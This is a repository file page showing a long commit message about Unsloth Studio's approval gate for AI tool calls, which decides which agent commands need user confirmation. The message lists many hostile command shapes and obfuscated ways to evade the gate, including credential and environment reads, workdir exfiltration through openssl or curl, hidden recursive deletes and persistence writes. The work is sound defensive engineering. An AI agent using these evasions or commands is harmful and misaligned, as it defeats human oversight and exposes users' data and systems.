unsloth/studio/backend/models/inference.py
Daniel Han 1255964d5a
Studio: default tool-call permission to Approve for me, prompt only on high-risk actions (#7285)
* Default tool-call permission to Approve for me, prompting only on high-risk actions

Make "auto" ("Approve for me") the product default permission mode for local
tool calls, and narrow what it prompts on so ordinary development commands run
without interruption.

Before, an omitted permission_mode behaved as "ask" (or ran ungated on a
non-streaming request), and "auto" paused on any call that was not read-only
(pip install, mkdir, cp, python train.py, git commit, any redirect). Now:

- Unset permission_mode normalizes to "auto" at the API boundary and in both
  tool loops; the Field defaults are "auto" too. An unrecognized value still
  falls back to the stricter "ask".
- "auto" pauses only on genuinely high-risk calls via a new
  is_high_risk_tool_call classifier: credential/secret path access, privilege
  escalation (sudo/su/doas/pkexec), destructive or persistence commands
  (rm/dd/mkfs/crontab/systemctl/recursive chmod, ...), and network exec/exfil
  (curl piped to a shell, ssh/scp/nc, curl uploads). Everything else runs.
  Python prompts on shell escapes, network egress, sensitive reads, and
  dynamically built code; ordinary in-workdir writes run.
- Frontend sends permission_mode for every local chat and omits
  confirm_tool_calls for "auto" so the safe-only no-stream exception still
  applies; the picker and store describe the new behavior.

The hard-block command set, code-safety static analysis, resource limits,
secret-env stripping, and the per-session sandbox workdir remain in force under
every mode, and "ask" is still available for users who want to confirm every
call.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep non-streaming tool requests working under the auto default

The default-permission change made an omitted permission_mode normalize to
auto at the request boundary, so a non-streaming enable_tools request hit the
confirm-without-stream guard and returned 400 instead of running (regression
against the #6570 non-streaming tool-call contract used by non-interactive
clients and health checks).

Keep permission_mode unset at the request boundary (the confirm gate can only
prompt while streaming, so an unset non-streaming request stays lenient and
runs), while the tool loops continue to normalize an unset mode to auto for the
per-call gate. Net: streaming requests default to auto and pause high-risk
calls; non-streaming requests keep the prior run-without-gate behavior.

* Harden the auto high-risk classifier against review-flagged bypasses

Address Codex/Gemini review of the default-permission change by gating the
destructive/exec cases that were reaching auto mode without a prompt:

- Terminal: a non-shell interpreter running inline code (python -c, node -e,
  perl -E, php -r), destructive git subcommands (git clean, git reset --hard,
  git push --force), and a command synthesized by a command-position
  substitution ($(printf rm) -rf build) now prompt. Ordinary python <script>,
  git commit/push, and argument-position substitutions (echo $(date)) run.
- Python tool: exec/eval/compile/__import__ invoked by keyword (compile(source=
  ...), import_module(name=...)) is now caught alongside the positional form.
- MCP: an execution tool (run_command, execute_script, invoke_shell) is gated
  like a terminal call, since it runs arbitrary commands on the MCP server
  outside the terminal sandbox; ordinary create/list/read tools still run.

The curl/wget exfil and shell eval cases the review raised are already refused
by the sandbox hard-block set, so no gate change was needed there; the PR
description now notes the classifier layers on top of that hard-block.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Recurse shell -c payloads and literal exec source in the high-risk gate

Second review round on the auto high-risk classifier:

- A high-risk command wrapped in a shell -c payload (bash -c 'git clean -fd',
  sh -c 'truncate -s 0 x') is now screened by recursing into the payload,
  bounded by depth. The sandbox hard-block only recurses for its own smaller
  command set, so git/truncate wrapped this way previously ran unprompted.
- A literal exec/eval/compile source is screened for what it runs rather than
  assumed harmless: exec('import urllib...urlopen(...)') now prompts, while
  exec('x = 1') and a literal __import__('os') name still run.
- git global options that take a value (git -C repo clean, git -c k=v clean)
  consume their value before the subcommand is read, so the real subcommand
  is judged.
- The network exfil check also runs over the assignment-expanded command, so a
  curl/wget name assembled from variables (c=cu d=rl; $c$d -F ...) is seen.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Cover attached inline flags, env -S/-C, camelCase MCP, folded python paths

Third review round on the auto high-risk classifier:

- Interpreter inline code in the attached short form (python -c'...',
  node -e'...') is now matched by the -c/-e/-E/-r prefix, not only the exact
  flag token.
- env -S / --split-string runs its string as a command (screened recursively)
  and env -C / --chdir changes the working directory (asks), so a destructive
  command behind env is no longer treated as a plain wrapper.
- camelCase MCP tool names are split on the case boundary (runCommand ->
  run_Command) before the execution / sensitive-noun regexes, so camelCase
  execution tools are gated like snake_case ones.
- A sensitive path folded across string-literal variables, os.path.join,
  sep.join([...]), or an f-string (p='/etc'; open(p+'/shadow')) is now folded
  and re-checked; an unresolved fragment folds to a sentinel so a partial fold
  never false-positives.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate substitution-built shell payloads and keep explicit confirm opt-in

Two auto-mode gaps from review:

- A command substitution stashed in a variable and then executed dynamically
  (x=`printf 'git clean -fd'`; bash -c "$x", or ...; $x, or eval "$x") never
  appears as literal command text, so the token scan could not see the real
  command and git clean ran without a prompt. Fail closed when a command
  substitution coincides with a variable executed as a command. Ordinary
  substitutions captured into a value/argument (d=$(date); mkdir build_$d) still
  run.

- An explicit confirm_tool_calls=True with no permission_mode is the
  pre-permission-mode opt-in to confirm every call. It now resolves to "ask" at
  the request layer instead of the "auto" product default, so those callers keep
  per-call gating rather than only prompting on high-risk calls. A bare unset
  request (confirm flag not set) still defaults to auto.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Cover CLI-forced confirm, Windows delete built-ins, and pathlib reads

Three more auto-mode gaps from review:

- An explicit confirm_tool_calls=True with no permission_mode is now resolved to
  "ask" regardless of the request-level tool flags, so a process-wide
  --enable-tools policy that forces the loop when the request sets neither
  enable_tools nor mcp_enabled still gates every call. Setting only the mode is
  inert unless the loop runs, so a passthrough request is unaffected;
  external-provider requests are still left untouched.

- The Windows cmd.exe delete built-ins del, erase, and rd are added to the
  high-risk terminal set. The terminal executor runs cmd /c on Windows and these
  are not in the hard-block set, so del /q file.csv would otherwise run in the
  workdir without a prompt.

- A sensitive path assembled with pathlib (Path('/etc') / 'passwd', joinpath, or
  a Path bound to a variable then joined) is now gated. The python high-risk
  folder reuses the shared _folded_path builder plus _folded_is_sensitive, which
  already handle the / operator, path constructors, os.path.join, str.join,
  f-strings, and %/.format. Relative in-workdir and unknown-base paths still run.

* Gate combined -c, versioned interpreters, busybox, and sensitive chdir

Four more auto-mode classifier gaps from review, plus a sandbox backstop:

- Combined shell flag clusters (bash -lc, bash -xc) and the attached form
  (bash -c'...') now have their -c payload screened recursively; the same
  cluster handling closes python -Bc inline code. Previously only an exact -c
  matched, so bash -lc 'git clean -fd' ran without a prompt.

- Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are recognized
  as inline-code interpreters, so python3.11 -c '...' is gated like python3 -c.

- busybox / toybox are treated as command wrappers, so the applet
  (busybox rm -rf) is judged instead of the multicall binary, which was slipping
  through as an unknown-but-safe command.

- A chdir into a sensitive directory (cd /proc/$PPID; cat environ, cd /etc) is
  gated: the read happens after the directory change so no single token spells
  out the sensitive path. Ordinary in-workdir chdirs still run.

- Backstop for the /proc/<parent>/environ read: the sandbox now hardens the
  Unsloth process against same-UID /proc environ reads in normal sandboxed mode
  too, not only in bypass mode, so a classifier miss cannot recover the parent
  environment. Best-effort in the sandbox (the child env is already scrubbed), so
  a host where prctl is unavailable still runs.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden parent proc-env on the sandboxed python path too

The previous commit hardened the Unsloth process against same-UID
/proc/<parent>/environ reads on the sandboxed bash path; apply the same
best-effort hardening on the sandboxed python exec path so both tools are
symmetric. Update test_bypass_exec_hardens_parent_proc_env, which asserted the
sandboxed path never hardened, to expect the backstop on both paths.

* Tighten the curl/wget exfil check for attached and wget upload flags

The network exec/exfil classifier missed a curl upload flag when it was attached
to its value (curl -Ffile=@dump.sql, curl -d@f) because the token was split on =
first, and it did not cover wget's upload flags (--post-data, --post-file,
--body-data, --body-file). curl short upload flags are now matched prefix-wise and
wget's upload flags are checked separately, which also removes a false positive
where a benign wget short option (wget -T timeout, wget -F force-html) was read as
an upload. curl and wget remain hard-blocked by the sandbox regardless; this only
tightens when auto mode pauses for approval.

* Tighten the high-risk auto-mode classifier: wrapper, interpreter, git, python-fs, MCP, and persistence-write gaps

Close reachable gaps where a genuinely dangerous tool call was auto-approved
without a prompt in Approve-for-me mode:

- Process-launch wrappers: setsid/exec/builtin forward the command position, so
  screen their child (setsid git clean, exec python -c) instead of the wrapper.
- Inline-code interpreters: node/bun -p/--print evaluate code like -e; pwsh
  -Command/-EncodedCommand run inline code (not hard-blocked off Windows).
- Windows cmd.exe /c|/k recurses into the nested command (cmd /c del x).
- git restore (default --worktree) and git checkout -- . / git checkout .
  discard tracked edits irrecoverably, same class as the already-gated git clean.
- Python destructive filesystem calls (os.remove, shutil.rmtree, Path.unlink,
  os.rmdir/removedirs, incl. bare imports) pair with the terminal rm gate.
- MCP: a read-named tool carrying a destructive payload (DELETE/DROP SQL,
  GraphQL mutation, mutating HTTP method) still prompts; honestly-named
  create/update/delete MCP calls keep running.
- System persistence writes: a write into /etc/profile.d, /etc/cron*,
  /etc/systemd, /etc/ld.so.preload, /etc/rc.local, /etc/init.d installs a
  boot/login/preload hook. The sandbox keeps host-fs access, so gate these;
  ordinary /etc reads (hostname, resolv.conf) and in-workdir writes still run.

Adds table-driven regression rows for every new prompt case and its
guard-against-over-prompt counterpart.

* Extend the high-risk auto-mode gate: non-curl network clients, destructive MCP verbs, array-fed shell payloads

Round-two Codex hardening on the auto (Approve-for-me) classifier:

- Network exfil beyond curl/wget: gate nc/ncat/netcat/telnet/socat/ssh/scp/sftp
  at command position and openssl s_client/s_server. The sandbox has no network
  namespace, so tar czf - . | openssl s_client -connect host:443 was streaming
  the workdir without a prompt. Local openssl (dgst/enc) and a filename that
  merely contains a client name still run.
- Destructive MCP tools: an honestly-named delete_file/delete_repo/drop_table/
  purge_index/revoke_token runs outside the terminal sandbox and loses data, so
  gate the destructive verb on the name. Non-destructive create/update/list/get
  still run; a substring like undelete does not match on the segment boundary.
- Dynamically constructed shell payloads: x=(git clean -fd); bash -c "${x[*]}"
  carries no command substitution and is not resolved by assignment expansion,
  so it slipped the var-executed check. Fail closed when an array expansion is
  run as a command; a benign array print (echo "${a[@]}") is untouched.

Adds regression rows for every new prompt case and its benign counterpart.

* Gate user-level persistence writes in auto mode

Extend the persistence-write gate from the /etc set to user-level startup and
autostart locations: a write into ~/.bashrc, ~/.zshrc, ~/.profile and the other
shell rc/profile files, ~/.config/autostart, ~/.config/systemd/user, or
~/.config/environment.d runs on the next login/session, the same boot-hook risk
but needing no root (Studio commonly runs unprivileged, so this is the more
reachable vector). The sandbox does not confine absolute paths, so an append to
~/.bashrc reaches the real file. A non-persistence ~/.config dir and ordinary
reads still run. Adds regression rows.

* Close three more auto-mode gate gaps: curl destructive methods, the dot source synonym, aliased os.remove

- curl -X DELETE / --request DELETE|PUT|PATCH (separated, attached, and
  --request= forms) mutates or deletes a remote resource, so gate it; a plain
  download and GET still run.
- The hard-block set blocked source but not its POSIX synonym '.', so
  . ./script.sh ran the file's contents past the classifier. Block '.' at
  command position too; a path argument (find . -type f, cd .) is unaffected.
- os.remove reached through an aliased module (import os as fs; fs.remove(...))
  was missed because only the literal receiver 'os' was recognized; resolve
  import os as ... aliases, matching the existing safety analyzer.

Adds regression rows for each case and its benign counterpart.

* Close three more obfuscation bypasses of the auto-mode gate and hard block

- ANSI-C quoting hid the command name: a $'rm' -rf x form tokenized as $rm, so
  both the high-risk scan and _find_blocked_commands missed it while Bash ran
  rm. Decode ANSI-C ($'...') before classifying, in both the terminal
  classifier and the blocklist; an ANSI-C string in argument position stays
  benign.
- Process substitution executed as a script (an interpreter consuming a <(...)
  whose generated content is unscreenable) ran without a prompt; the prior <(
  check was unreachable without curl/wget. Gate a process substitution consumed
  by an interpreter; a non-interpreter consumer (diff over two <(sort ...))
  still runs.
- os.remove bound to a name (f = os.remove; f(x)) or reached via getattr(os,
  'remove') bypassed the direct-attribute scan. Track assignment aliases and
  getattr with a literal attribute name; a bound list.remove still runs.

Adds regression rows for each case and its benign counterpart.

* Gate container runtimes, MCP privilege grants, arg-embedded exec, and network listeners

- Container/VM runtimes (docker, podman, nerdctl, ctr, crictl, lxc, machinectl,
  kubectl) act through a daemon with host privileges, so a bind mount writes the
  real filesystem and escapes the child process workdir and rlimits entirely.
  Gated wholesale because the escape lives in the arguments.
- MCP privilege grants: an unambiguous privilege verb (grant/authorize/elevate/
  escalate/impersonate) prompts on its own; a softer verb (assign/add/set/
  attach/bind/put/update/create) prompts only next to a privilege noun (role,
  permission, policy, acl, scope, membership), so assign_issue and add_label
  keep running while grant_role and add_permission ask.
- A flag whose value is a command the tool then executes (GNU tar
  --checkpoint-action=exec=CMD, --rsh, --rsync-path) hid a payload inside an
  argument, past both the classifier and the blocklist. Ordinary archiving runs.
- An interpreter serving on the network (python -m http.server, uvicorn,
  gunicorn, waitress) exposes the session workdir since the sandbox keeps no
  network namespace. A non-server module (python -m pytest, -m pip) still runs.

Adds regression rows for each case and its benign counterpart.

* Close the parallel-review gaps: over-prompting regressions and asymmetric high-risk omissions

Over-prompting fixes (auto mode was pausing on ordinary work):
- The network-listener check matched a server name ANYWHERE in the command, so
  `pip install uvicorn`, `grep uvicorn reqs.txt` and even `echo uvicorn`
  prompted. Scope it to the two forms that actually listen: a module after
  `-m`, or a server binary at command position.
- Inline-code flags were one shared set, so `python -E` (ignore env) and
  `python -Werror` read as eval. Resolve them per interpreter: python -c,
  node/deno/bun -e/--eval, ruby -e, perl -e/-E, php -r.
- The curl upload scan read option letters from unrelated commands in the same
  line (`ls -T && echo curl`). Scope the scan to the segment whose command is
  actually curl/wget.

Under-prompting fixes (destructive actions the narrowed gate stopped catching,
each the twin of something already gated):
- git: switch -f/--force/--discard-changes, stash clear/drop, branch -D/-M,
  rm, push --delete/--mirror/--prune and the +src / :dst refspec forms.
- Platform twins: unlink, ftp, tftp, format, diskpart, diskutil, schtasks,
  reg, sc, launchctl.
- Python: posix/nt module twins (including bare imports), os.truncate,
  os.ftruncate, os.kill, os.killpg, and a file handle's truncate. Gated via the
  handle name so pandas DataFrame.truncate() keeps running.
- MCP: clear/reset/empty/flush/prune/expire destructive verbs, promote.
- deno/bun expose inline eval as a subcommand, not a flag.
- A bare redirect (`> file`, `: > file`) truncates; a redirect after a real
  command is an ordinary write and still runs.
- A forwarded git command keeps its git context (`find -exec git clean`,
  `xargs git clean`), and an unquoted `cmd /c` payload spans the remainder.

Adds regression rows for every case and its benign counterpart.

* Gate shell control flow, bash -c clusters, wrapper option values, and annotated aliases

- `if`/`while`/`until` are followed by a condition the shell runs, so a command
  there is at command position. `if rm -rf build; then :; fi` slipped both the
  classifier and the blocklist (they share the keyword set, so both are fixed).
- A short letter run after `-c` (bash -ce, bash -cl) is more bash options, not
  an attached payload: bash still reads the command string from the next token,
  so the real payload was never screened.
- A wrapper option taking a separate value (env -u NAME, stdbuf -o L, timeout
  --signal TERM, nice -n 5) had its value read as the wrapped command, so
  `env -u FOO rm -rf build` resolved the command `FOO` and never judged `rm`.
  env -C/--chdir is deliberately excluded: it is gated as a chdir already.
- An annotated binding (f: object = os.remove) is the same alias as a plain
  assignment; only ast.Assign was collected.

Adds regression rows for each case and its benign counterpart.

* Fix two gate regressions and close seven more bypasses

Regressions from the previous round, both caught by review:
- Shell keywords were treated as separators anywhere, so `grep if rm README.md`
  resolved `rm` as a command and was blocked. A keyword only separates where a
  command may start, so gate the check on command position (all three scanners).
- The wrapper option-value table was shared across wrappers, but `env -i` is
  valueless while `stdbuf -i` takes a value. `env -i git clean -fd` therefore
  consumed `git` and never judged the subcommand. The table is per wrapper now.

New gaps closed:
- `git -c alias.NAME=PAYLOAD` defines code git then runs. Screen the payload: a
  `!` alias as a shell command, a plain one as `git <payload>`.
- A script fed to a shell over a pipe (printf '...' | bash) or a herestring
  (bash <<< '...') never appears at command position. Ordinary pipes still run.
- `chroot`, `nsenter` and `unshare` cross a privilege or namespace boundary and
  then exec a nested command the wrapper hides.
- A bare runtime name (mcp__srv__python, __node, __code) is an MCP execution
  tool even without a verb.
- `m = __import__("os")` binds the module like `import os as m`, and
  `getattr(__import__("os"), "remove")` reaches it inline.

Declined: gating every command substitution used as a path argument (would
prompt on `echo $(date)` / `make $(FILES)`), and bare `git checkout <path>`
(statically indistinguishable from the very common `git checkout <branch>`).

Adds regression rows for each case and its benign counterpart.

* Pin the auto-mode contract with benign and dangerous corpora

The value of defaulting to "Approve for me" rests on two properties that pull
in opposite directions: ordinary development work must run silently, and
genuinely dangerous work must still prompt. Every denylist change risks
trading one for the other, and a regression in the benign direction is easy to
miss because nothing fails, the mode just starts nagging.

Add two corpora that pin both directions: 62 ordinary commands, python
snippets and MCP calls that must NOT prompt (package installs, builds, tests,
git workflow, reads, ordinary pipes and redirects), and 55 dangerous ones that
must (credential reads, destructive and persistence changes, privilege
escalation, network exec and exfil, container escapes, obfuscated forms).

125 cases, currently 100 percent in both directions.

* Scope four over-prompting checks and close six more gate gaps

Over-prompting fixes (auto mode was pausing on ordinary work):
- find/fd were marked forwarding from the command itself, so every later
  positional looked executable and a search whose pattern happened to equal a
  gated command name prompted. They only forward after an explicit
  -exec/-execdir/-ok flag now.
- The openssl s_client check was not command-position aware, so grepping for
  the string in a README prompted.
- An exec-valued flag (--checkpoint-action, --rsh, --rsync-path) counted no
  matter which command owned it, so printf '%s' --rsh prompted. It now
  requires the owning utility (tar/rsync/scp/sftp) in the same command.
- A listener behind a wrapper or given by absolute path was missed instead
  (env uvicorn, timeout 60 gunicorn, /usr/local/bin/uvicorn); resolving the
  binary at command position covers all three.

New gaps closed:
- git checkout <commit> <path> overwrites the file from that commit, as does
  --pathspec-from-file. A single positional stays ambiguous with a branch name
  and is still left alone.
- git config alias.NAME BODY stores code git runs on the next invocation, so
  the body is screened like the -c form.
- systemd-run launches a nested command as a transient unit.
- Version-suffixed perl/ruby/php/node still run inline code with -e/-r.
- A file handle bound by `with open(...) as f` is tracked for truncate, not
  just an assigned one.
- Exceeding the shell nesting depth now fails closed, matching the docstring,
  instead of letting an unscreened payload through.

Declined: rebinding a command name through the bash hash builtin. Like the
alias/read/awk/coproc family already declined, it is deliberate
self-obfuscation of an already-gated command rather than anything a model
emits, and the always-on backstops cover it.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope two more over-prompting checks and close four gate gaps

Over-prompting fixes (auto mode was pausing on ordinary work):
- A recursive flag was looked for across the whole command line, so
  `grep -R pattern . && chmod +x build.sh` made the chmod look recursive and
  prompted. The flag is now scoped to the segment that owns the command.
- The startup-file names were matched anywhere in the line, so `cat
  notes.profile.bak` and `my.zshrc.template` prompted. They now have to sit on
  a path boundary, while the real dotfiles still prompt.

New gaps closed:
- A pending wrapper option value leaked past a command separator, so the
  command after it was never screened (`env -u` followed by a recursive delete
  was missed). The pending state is cleared at every separator now.
- git plumbing and maintenance that loses data: update-ref, reflog, gc, prune
  and history rewriting drop refs and unreachable objects, the same loss the
  porcelain forms already gate.
- A module pulled in dynamically is screened against the same set as a static
  import, so a dynamically imported socket or shutil is treated alike.
- MCP names that move money or ship artefacts (transfer, payout, charge,
  refund, wire, publish, deploy) are irreversible for the operator even though
  they are not destructive in the filesystem sense.

Declined two items:
- Gating arbitrary interpreters that can shell out (awk BEGIN blocks and
  friends). Consistent with the alias/read/coproc/trap family already declined
  here: it inverts the denylist into an allowlist and costs real ergonomics for
  payloads a model does not emit in normal work.
- Prompting on every write outside the session workdir. Ordinary builds and
  scripts write to the standard temp directories constantly, so this would
  prompt on routine work. Persistence and credential paths are already gated
  specifically.

* Resolve command-position globs and keep quoted data out of shell syntax

- A glob at command position is expanded by bash after this scan runs, so
  `/bin/r[m] -rf x` was screened under a name that never executes. The
  always-on blocklist now resolves such a pattern against the blocked names,
  and the classifier asks when a command word cannot be resolved at all. The
  test builtins are excluded, and a pattern carrying no literal character
  resolves to nothing in particular.

- A dollar-quoted word expands to a single word, so a newline inside it is
  data rather than a separator. Decoding it before tokenization made
  `printf '%s'` with multiline data read as two commands and the call was
  refused outright. The decoded text can no longer introduce shell syntax,
  while an escape-obfuscated command name still resolves.

- An attribute name assembled from literals is folded before it is screened,
  so a deletion spelled as a concatenation is treated like the plain form. A
  name on a filesystem module that cannot be folded at all fails closed, since
  there is nothing left to screen.

- An MCP name with no separators never reached the segment boundaries, so a
  server-side execution tool was classified as ordinary even though the
  previous classifier failed closed on it. The verb and object compounds are
  matched directly now, while a name that merely starts with those letters is
  left alone.

Also narrowing a verb pair added in the previous commit: subscribing to a
topic is not a billing subscription, and pub/sub tools should not prompt.

* Screen attached exec values, wrapped openssl, php code flags, worktree removal and sysctl writes

- fd accepts the command attached to the flag (--exec=<cmd>, --exec-batch=),
  and that spelling was stripped and discarded without ever being screened.
  The value is treated as command position now, in the classifier and in the
  always-on blocklist. Only the long spellings are read this way: a short -x
  belongs to too many other utilities for its neighbour to be a command.

- The openssl socket check was anchored at command position, so a wrapper in
  front of it (env, timeout) hid the very thing it was meant to catch. The
  subcommand is checked on the resolved command segment now, so the wrapped
  and absolute forms are covered. Local openssl (dgst, enc) still runs.

- php runs code from -B, -R and -E as well as -r, which are begin, per-line
  and end blocks. Only -r was listed, so the other three ran inline programs
  unscreened.

- git worktree remove --force deletes a linked worktree even when it holds
  uncommitted work or is locked, but only the first-level subcommand was read
  so the nested action was invisible. An unforced remove refuses on a dirty
  worktree and stays out, matching how the checkout and switch discard flags
  are handled.

- sysctl -w, --system and -p change kernel parameters, and the assignment form
  writes without needing a flag. A read-only query stays automatic.

* Fail closed on unscreenable MCP names, alias bodies and stored lookups

- An MCP name whose verb this classifier does not recognise now asks. MCP
  tools run on an external server, outside the terminal sandbox and every
  backstop under it, and their names are an open vocabulary rather than the
  finite set of POSIX utilities, so the denylists could never be complete: a
  name built from an unfamiliar verb sailed through as ordinary. A generous
  read and write vocabulary keeps the everyday tools running, and the reverse
  or repeat of a recognised verb (undelete, reopen, resend) counts as
  recognised too. Measured against thirty tool names taken from the common
  servers, one still prompts, and that one is the pre-existing execution rule
  rather than this one.

- A shell alias body is a command bash runs when the alias is invoked, so it
  is screened as a command in its own right, in the classifier and in the
  always-on blocklist. This is the same shape as a git alias body, which was
  already handled; leaving the shell form out was inconsistent.

- git --config-env=<key>=<envvar> takes its value from the environment, so an
  alias key stores code that never appears in the command text at all. The
  attached form was skipped entirely because the parser required no equals
  sign. An alias key gates it now; ordinary keys are untouched.

- A destructive lookup stored before it is called (a name bound to
  getattr(os, "remove")) matched neither the direct call shape nor the alias
  collection, so it ran. The binding is tracked now.

- A credential basename only names a file when it appears in a string, but the
  whole Python source was being scanned, so `credentials = {}`, a function
  called load_credentials and even a comment mentioning credentials all
  prompted while performing no I/O. The check applies to string literals now,
  with the raw scan kept for source that does not parse.

* Split git short-option clusters and close five more gate gaps

- Git combines short options, so `git push -qf`, `git checkout -qf` and
  `git branch -qD` never matched the exact-string flag sets and ran without a
  prompt. Clusters are split before the destructive flags are checked. Also
  adds the short `-f` spelling to the branch set, which moves a ref and can
  abandon its commits.

- `getent shadow` and `getent gshadow` return password hashes straight from
  NSS, so the read never spells out a path for the sensitive-path check to
  find. The database name is gated instead; ordinary lookups (hosts, passwd)
  still run.

- The account-management set covered useradd and usermod but not adduser,
  deluser, addgroup, delgroup, groupmod, gpasswd, newusers or chgpasswd, so
  `gpasswd -a user sudo` granted group membership silently.

- at and batch hand a payload to atd, which runs it later as this user and
  outside this invocation's blocklist, resource limits, timeout and
  cancellation. They belong with crontab.

- A command word bash builds without the NAME=value form (printf -v, read)
  left nothing at command position to screen. A bare variable executed as a
  command that assignment expansion could not resolve now fails closed. A
  variable used as a path prefix is deliberately excluded: ${VENV}/bin/python
  still leaves a literal basename the scan can read.

* Stop prompting on six inspection shapes and close eighteen gate gaps

Over-prompting fixes, which matter most here since not interrupting ordinary
work is the point of the change:

- `git clean -n` and `--dry-run` list what would be removed and remove nothing,
  so they are inspection commands. The subcommand was gated regardless of its
  flags; a dry run is now recognised in the same segment.
- The listener check matched a module name anywhere in the line, so
  `echo 'python -m http.server'` and grepping for it prompted. It is anchored at
  command position now, like the server-binary check beside it.
- An MCP name that reads names its SUBJECT, not the action: `get_release`,
  `get_invoice`, `search_code` and `get_code` were prompting because the impact
  and runtime-noun patterns fired on the noun. A read verb now suppresses both,
  while an execution verb still wins.
- Free text is not a statement. An issue body or chat message that mentions
  DELETE FROM, a credential file or a path was read as an action. Statements are
  taken from the query-bearing argument names, and paths are skipped only for
  the prose names, since a path can be carried under any other name.
- curl and wget presence was decided by substring, so `grep curl notes.txt &&
  wget -T 5 ...` lent curl's option letters to wget.

Gaps closed:

- git checkout-index -f overwrites the working tree from the index; git tag -d
  and -f delete or replace a ref; git switch -C and checkout -B reset an
  existing branch the way branch -f does.
- Ending a process (kill, pkill, killall, taskkill, tskill) or the machine
  (shutdown, reboot, halt, poweroff) was ungated, though the Python os.kill
  equivalent already prompted. setcap grants file capabilities without sudo.
- A network client behind a wrapper (env curl -T) was missed because the client
  check ran before the wrapper was resolved. slogin is a standard ssh alias and
  was in neither set. wget spells the request method --method=DELETE.
- A tracer (strace, ltrace, valgrind, perf) runs the rest of the line as a
  child, so the real command sat in argument position behind it.
- A redirection may precede the command word, so `</dev/null` hid what followed
  from both scanners. `exec -a NAME cmd` puts a name where the command goes, and
  the Windows `if exist FILE cmd` form puts an operand there.
- In Python: a walrus binds a module or a callee just like an assignment,
  builtins.__import__ is the attribute form of __import__, and psutil ends a
  process exactly as os.kill does. The psutil check is keyed on the import so an
  unrelated .kill() on a user object keeps running.
- Over MCP: a credential carried in an argument NAME (Authorization, X-API-Key,
  Cookie) goes out whatever its value looks like; collaborator and team-member
  grants are access changes like the role verbs; and a recurring subscription
  bills repeatedly.

* Bound the classifier's input and stop prompting on four more ordinary shapes

Found by simulating the whole corpus against pre-PR main on Linux, macOS and
Windows tokenizers and diffing the two, then feeding the classifier adversarial
input.

Robustness:

- The credential-path pattern backtracks superlinearly, so a long argument made
  a single classification take seconds. Measured on main as well as here, so it
  predates this change, but this change makes the auto gate the default and so
  runs it on every call. Text far past any real path, and a command far past any
  real command, now fail closed: they ask rather than spending unbounded time
  deciding. Worst case over the adversarial set drops from a hang to 13 ms.

Over-prompting fixes:

- A container CLI reading its own state (docker ps, docker images, docker logs,
  kubectl get) is inspection. The whole CLI was gated because the escape lives
  in the arguments of run/exec, so the read subcommands were caught with it. An
  unrecognised subcommand still asks, so the list can only be too small.

- A python payload is screened with the same analyzer the python tool uses, so
  `python -c 'import torch; print(torch.__version__)'` runs while a destructive
  one-liner still asks. A payload that does not parse fails closed, since shell
  quoting may have mangled it. The other runtimes have no analyzer here and stay
  gated.

- An assignment with no command after it runs nothing: every terminal call gets
  its own shell process, so `export PATH=...` on its own dies with that process.
  Verified against real bash rather than assumed.

- For the search paths other than PATH (PYTHONPATH and friends), a relative
  entry points inside the session workdir, which is the agent's own directory,
  so `PYTHONPATH=. pytest` runs. An absolute or escaping entry can shadow a real
  module and still asks. PATH itself counts for every value, because a relative
  entry there is the sharpest form of the hijack (`PATH=. ls` runs ./ls).

Net effect on the probe corpus, identical on all three platforms: ordinary and
inspection commands go from 99 of 136 prompting to 0, dangerous stays at 99 of
99, and the always-on hard-block set loses nothing and gains six entries.

* Tighten the permission-mode comments

Comment-only pass over the code this branch added. Every explanation is
collapsed to the fewest lines that still read clearly, redundant restatements
of the code are dropped, and a handful of blocks that had drifted away from the
constant or branch they describe are moved back next to it.

The non-obvious behaviours keep their note, just shorter: an unforced
`git worktree remove` refusing on a dirty worktree, a bare `-c` yielding an
empty attached value rather than None, `.` being the POSIX synonym for
`source`, prose keys being skipped rather than path keys allowlisted, and the
route keeping an unset mode lenient so non-streaming clients still work.

No code, string literal or test expectation changed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate the navigation sinks reached by bracket access

The canvas egress check gated location.assign / location.replace and an
assignment to location.href, and it already handled bracket access for the
fetch family, but not for the navigation sinks. So `location['assign'](url)`
and `location['href'] = url` auto-ran and could navigate the preview frame to
an attacker URL with the page contents appended, which is the same egress the
dot forms already gate.

Both bracket forms are covered now, including a fully bracketed host
(`window['location']['href']`). The names are anchored to location so ordinary
bracket keys stay static: a string's own `['replace']`, an object's `['href']`,
and reading `location['href']` all still run without a prompt.

* Gate seven more ways a command reaches the shell in auto mode

git submodule foreach runs its argument in every submodule, so the payload is
a command in its own right; it now recurses through the terminal classifier and
through the hard-block scan. An awk program can shell out with system() or by
piping to "sh", so the program text is screened for those two shapes while
ordinary field work (awk '{print $1}') keeps running.

setpriv changes privilege and then execs what follows, so it is transparent to
the scan (setpriv --nnp rm -f x resolves rm) and its privilege-raising flags
(--reuid, --ambient-caps, --bounding-set) prompt on their own. fallocate
punches, zeroes or collapses a range in place, which destroys file contents,
so those flags prompt while plain allocation (-l SIZE) does not.

vars(os)["remove"] and os.__dict__["unlink"] resolve an attribute the same way
getattr does, so the module namespace dict is screened with the same key rules,
anchored to a filesystem module so an ordinary d["remove"] stays out.

Removing a package (pip uninstall torch, uv pip uninstall, conda remove) tears
down the environment the backend itself runs in; installing into it does not,
and stays automatic.

The listener check was anchored at command position, so a wrapper in front of
it (env python -m http.server, timeout 60 python -m uvicorn) slipped past. The
module after -m is now resolved at the token level, after wrapper resolution.

Adds 54 rows to the classifier tables covering both directions.

---------

Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-26 17:07:31 -07:00

2177 lines
90 KiB
Python

# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
